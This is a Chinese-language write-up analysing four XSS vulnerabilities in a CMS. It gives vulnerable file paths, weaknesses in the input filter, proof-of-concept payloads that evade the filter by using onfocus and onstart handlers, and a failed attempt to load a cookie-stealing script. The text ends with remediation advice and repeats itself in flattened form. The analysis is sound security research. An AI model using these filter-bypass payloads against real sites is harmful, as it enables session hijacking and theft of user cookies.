某cms两处全站xss漏洞
字数 1307 2025-08-26 22:12:03

某CMS两处全站XSS漏洞分析与利用教学

1. 漏洞概述

本文档详细分析某CMS系统中存在的两处全站跨站脚本(XSS)漏洞,包括前台反射型XSS、后台反射型XSS、前台留言存储型XSS和后台存储型XSS漏洞。这些漏洞主要由于未对用户输入进行充分过滤直接输出导致。

2. 前台反射型XSS漏洞

漏洞位置

/core/lib/application.class.php文件中的load_controller函数

漏洞原理

系统在处理路由参数时,直接将URL传入的m参数拼接后输出,未进行任何过滤。

漏洞验证Payload

http://127.0.0.1:81/index.php?a=login&c=member&m=%3Cimg%20src=1%20onerror=alert(1)%3E

代码分析

  1. 路由参数通过ROUTE_CROUTE_MROUTE_A全局变量传递
  2. /core/func/basic.fun.php中:
    $var["m"] = ROUTE_M;
    $var["c"] = ROUTE_C;
    $var["a"] = ROUTE_A;
    
  3. 直接拼接$m$filename寻找路径,未过滤直接输出

3. 后台反射型XSS漏洞

漏洞位置

/core/lib/YUNYECMSAdmin.class.php

漏洞原理

与前台反射型XSS类似,直接拼接了URL传入的c参数(ROUTE_C)并输出,未进行过滤。

4. 前台留言存储型XSS漏洞

漏洞URL

http://127.0.0.1:81/index.php?a=customform&catid=12

有效Payload

  1. <marquee onstart=prompt(1)><marquee>
  2. <input onfocus=prompt(document[coo+kie])>

代码分析

  1. 函数位置:core\app\content\index.php中的formadd()函数
  2. 虽然使用了usafestr()函数进行过滤,但过滤不彻底
  3. usafestr()函数定义在/core/func/core.fun.php
  4. 具体过滤规则在core\extend\classes\safestring.php

过滤规则特点

  • 过滤了onerroralertonmouseover等常见XSS触发事件
  • 但未过滤onfocusonstart等事件

触发点

在后台点击删除留言时的确认提醒处触发XSS

5. 后台存储型XSS漏洞

漏洞URL

http://127.0.0.1:81/admin.php?c=content&a=customform_add&usv_ixIW=egksuBNTW6

代码分析

  1. 函数位置:\core\admin\content.php中的customform_add()函数
  2. 仅对catid参数进行了usafestr过滤
  3. 其他输入参数未进行任何过滤

6. 漏洞利用限制与绕过尝试

获取Cookie的限制

  • 系统过滤了//字符,导致无法直接使用外部XSS平台
  • 尝试失败的Payload示例:
    <input onfocus=document.body.appendChild(document[`cr`+`eateElement`](`scr`+`ipt`)).src=http://127.0.0.1`>
    

7. 漏洞修复建议

  1. 对所有用户输入参数进行严格过滤,包括路由参数
  2. 完善usafestr()函数的过滤规则,增加对更多XSS触发事件的过滤
  3. 对输出内容进行HTML实体编码
  4. 实施内容安全策略(CSP)
  5. 对后台功能增加更严格的权限验证

8. 总结

该CMS系统存在多处XSS漏洞,主要由于:

  1. 直接输出未过滤的用户输入
  2. 过滤函数不完善,可被特定Payload绕过
  3. 后台功能缺乏严格的输入验证

这些漏洞可被利用进行钓鱼攻击、会话劫持等恶意行为,特别是后台XSS结合低权限账户可能造成更大危害。

某CMS两处全站XSS漏洞分析与利用教学 1. 漏洞概述 本文档详细分析某CMS系统中存在的两处全站跨站脚本(XSS)漏洞,包括前台反射型XSS、后台反射型XSS、前台留言存储型XSS和后台存储型XSS漏洞。这些漏洞主要由于未对用户输入进行充分过滤直接输出导致。 2. 前台反射型XSS漏洞 漏洞位置 /core/lib/application.class.php 文件中的 load_controller 函数 漏洞原理 系统在处理路由参数时,直接将URL传入的 m 参数拼接后输出,未进行任何过滤。 漏洞验证Payload 代码分析 路由参数通过 ROUTE_C 、 ROUTE_M 、 ROUTE_A 全局变量传递 在 /core/func/basic.fun.php 中: 直接拼接 $m 和 $filename 寻找路径,未过滤直接输出 3. 后台反射型XSS漏洞 漏洞位置 /core/lib/YUNYECMSAdmin.class.php 漏洞原理 与前台反射型XSS类似,直接拼接了URL传入的 c 参数( ROUTE_C )并输出,未进行过滤。 4. 前台留言存储型XSS漏洞 漏洞URL 有效Payload <marquee onstart=prompt(1)><marquee> <input onfocus=prompt(document[ coo + kie ])> 代码分析 函数位置: core\app\content\index.php 中的 formadd() 函数 虽然使用了 usafestr() 函数进行过滤,但过滤不彻底 usafestr() 函数定义在 /core/func/core.fun.php 具体过滤规则在 core\extend\classes\safestring.php 中 过滤规则特点 过滤了 onerror 、 alert 、 onmouseover 等常见XSS触发事件 但未过滤 onfocus 、 onstart 等事件 触发点 在后台点击删除留言时的确认提醒处触发XSS 5. 后台存储型XSS漏洞 漏洞URL 代码分析 函数位置: \core\admin\content.php 中的 customform_add() 函数 仅对 catid 参数进行了 usafestr 过滤 其他输入参数未进行任何过滤 6. 漏洞利用限制与绕过尝试 获取Cookie的限制 系统过滤了 // 字符,导致无法直接使用外部XSS平台 尝试失败的Payload示例: 7. 漏洞修复建议 对所有用户输入参数进行严格过滤,包括路由参数 完善 usafestr() 函数的过滤规则,增加对更多XSS触发事件的过滤 对输出内容进行HTML实体编码 实施内容安全策略(CSP) 对后台功能增加更严格的权限验证 8. 总结 该CMS系统存在多处XSS漏洞,主要由于: 直接输出未过滤的用户输入 过滤函数不完善,可被特定Payload绕过 后台功能缺乏严格的输入验证 这些漏洞可被利用进行钓鱼攻击、会话劫持等恶意行为,特别是后台XSS结合低权限账户可能造成更大危害。